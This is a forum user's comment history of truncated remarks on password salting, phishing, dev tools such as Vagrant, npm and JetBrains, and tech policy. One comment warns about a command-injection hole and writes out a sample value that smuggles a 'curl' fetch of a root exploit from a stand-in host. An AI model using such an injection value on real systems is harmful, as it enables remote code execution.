tomku

26 ms·

211.
by tomku 13y ago
Absolutely not. Like I said, the point of the salt is not to provide a "second password" that needs to be independently stolen. It's to make the results from a cracking attempt on one account useless on the password of another. If you've
212.
by tomku 13y ago
Right next to the hashed passwords. The point of salting isn't to add an additional level of secrecy, it's just to prevent the reuse of hashing work for attacking other users.
213.
by tomku 13y ago
Enjoyable read, but I question the bit near the end claiming that salts wouldn't help much against this kind of attack. From my understanding, per-user salting does substantially slow down this kind of attack because it forces you to calcul
214.
by tomku 13y ago
I post nearly nothing on Facebook and am not an activist, and I've been getting the same kind of emails very frequently lately. Some (but not all) of my friends have reported the same. It's likely that it's just random phishing spam. Edit
215.
by tomku 13y ago
iPhone owner who doesn't have a texting plan at all here. I avoid iMessage like the plague because it's way too easy to accidentally send texts that cost me $0.25 a pop. I don't want to care what kind of phone my friends have, particularl
216.
by tomku 13y ago
Yeah, you're wrong. You'd be right if password cracking was limited to checking 'a' through 'z', then 'aa' through 'zz', then 'aaa' through 'zzz', but that's not how it usually works in practice. In practice, a cracking program is generall
217.
by tomku 13y ago
What are some good resources for methodically learning SQL? Like many of the other devs I know, I learned a hodge podge of SQL while working on other projects, but I've never had any formal or comprehensive training on it. Ideally I'm loo
218.
by tomku 13y ago
It's worth noting that Jetbrains IDEs seem to be getting support for remote debugging in VMs, and specifically Vagrant support. It's already in PyCharm[1], and hopefully it'll be available in their other IDEs soonish. <insert standard
219.
by tomku 13y ago
I've tried both Librarian and Berkshelf to manage cookbooks for my Vagrant VMs for use with Vagrant's chef-solo provisioner. They both have nearly identical core features. Both can grab cookbooks from the Chef community site, local path,
220.
by tomku 13y ago
I stand corrected about the audience, but that really doesn't help your point either - when you make a change, you announce the change, you don't send out an internal email asserting the "new" policy like the old one never existed. This so
221.
by tomku 13y ago
Alternately, they're sick of employees running their mouths off about things like this and fueling the rumors further, like that guy who got canned for talking about it on Twitter. Keep in mind that MS has tons of employees, and the majori
222.
by tomku 13y ago
Yep, you're right, it doesn't work. Edited post to reflect that, thanks.
223.
by tomku 13y ago
The output from curl is being tacked onto 'ping ' and executed, so there's nothing stopping a malicious server from returning something like '127.0.0.1; $(curl http://pwn.your.box/rootexploit.sh ) ' instead of just your IP. Edit: This is c
224.
by tomku 13y ago
This is a Chrome extension that uses NaCl, so I don't think it supports multiple browsers or will any time soon.
225.
by tomku 13y ago
Actually, I was talking about the difference between rational, principled opposition and irrational, apocalyptic doomsaying. The groups I gave were meant to be examples, not comprehensive enumerations of every possible belief. Based on yo
226.
by tomku 13y ago
Some people oppose CISPA because of fixable issues regarding privacy or overly broad scope, some oppose it because they they think that it'll let the government spy on every URL they visit or allow the MPAA to take down all of Facebook for
227.
by tomku 13y ago
I experienced this recently when I was trying to dispute a declined RMA claim for a motherboard. The support person said over and over how sorry she was that I was having trouble, and how much she wanted to help, and how she really hopes t
228.
by tomku 14y ago
npm's default for -g is to install to Node's prefix, which is usually /usr or /usr/local. If you want it to install to your home directory, you can set the prefix to somewhere appropriate in your ~/.npmrc, which gives roughly the same beha
229.
by tomku 14y ago
Virtualenv is about managing multiple/conflicting versions of libraries, not different versions of Python itself. You're accomplishing the same thing by using a different VM for each app, just with higher overhead and isolation of things o
230.
by tomku 14y ago
The Vagrantfile specifies the environment as a combination of a base box, VM settings and optionally a provisioning script/recipe/whatever to run. The base box is only stored once, and individual VMs for projects are created from that box
231.
by tomku 14y ago
Honestly, for that class it probably doesn't matter much as it's focusing more on functional programming theory than anything complex in terms of application structure or environment. I did it in Eclipse when I took the first iteration of
232.
by tomku 14y ago
If you toss their sales department (sales@jetbrains.com) an email, they'll probably help you out. I've never had to do it myself, but they have a reputation for being very accommodating regarding buying just before sales. Edit: Just to be
233.
by tomku 14y ago
This is a major reason why I gave up on my childhood dream of being a game developer. The industry is screwed, and it'll continue to be as long as it's profitable to create games like that. In fact, it's only going to get worse as people k
234.
by tomku 14y ago
No, there's not really any additional benefit to owning both if you're already buying IDEA. WebStorm's features are essentially a subset of IDEA's. They have a slightly different release schedule (WebStorm seems to be more frequent), but
235.
by tomku 14y ago
Since this comes up every time there's a Jetbrains sale, here's the rundown on how the products relate to each other. First, the easy ones. ReSharper, dotTrace and dotCover are all independent products that don't really overlap with the on
236.
by tomku 14y ago
Consider being less condescending. Condescension is like a gigantic flashing neon sign saying "I'm not worth arguing with because I'll just be a jerk to you if you reply". Your original post was absolutely dripping with it, and the one I'
237.
by tomku 14y ago
JVM interop. You can't call a Scala function from Java unless it's somehow addressable as a Java method, so Scala implements functions in terms of Java methods. The JVM, for better or worse, is largely built around Java's object model - y
238.
by tomku 14y ago
That's a transaction based on market value, not intrinsic value. Someone might take you up on that, but it would depend on their valuation of your bitcoin, not some kind of inherent equivalence between bitcoins and other assets.
239.
by tomku 14y ago
The local learning environment gem is "Open source (license TBD)" according to the page. Edit: Since you responded to my other comment - I'm not claiming that what they're doing is allowed by the rules, just responding to that particular po
240.
by tomku 14y ago
There are actually two components that the author is promising. The interactive learning environment and website will be free and open source, but the author is also planning on selling a premium, paid month-long course with extra content.

More ›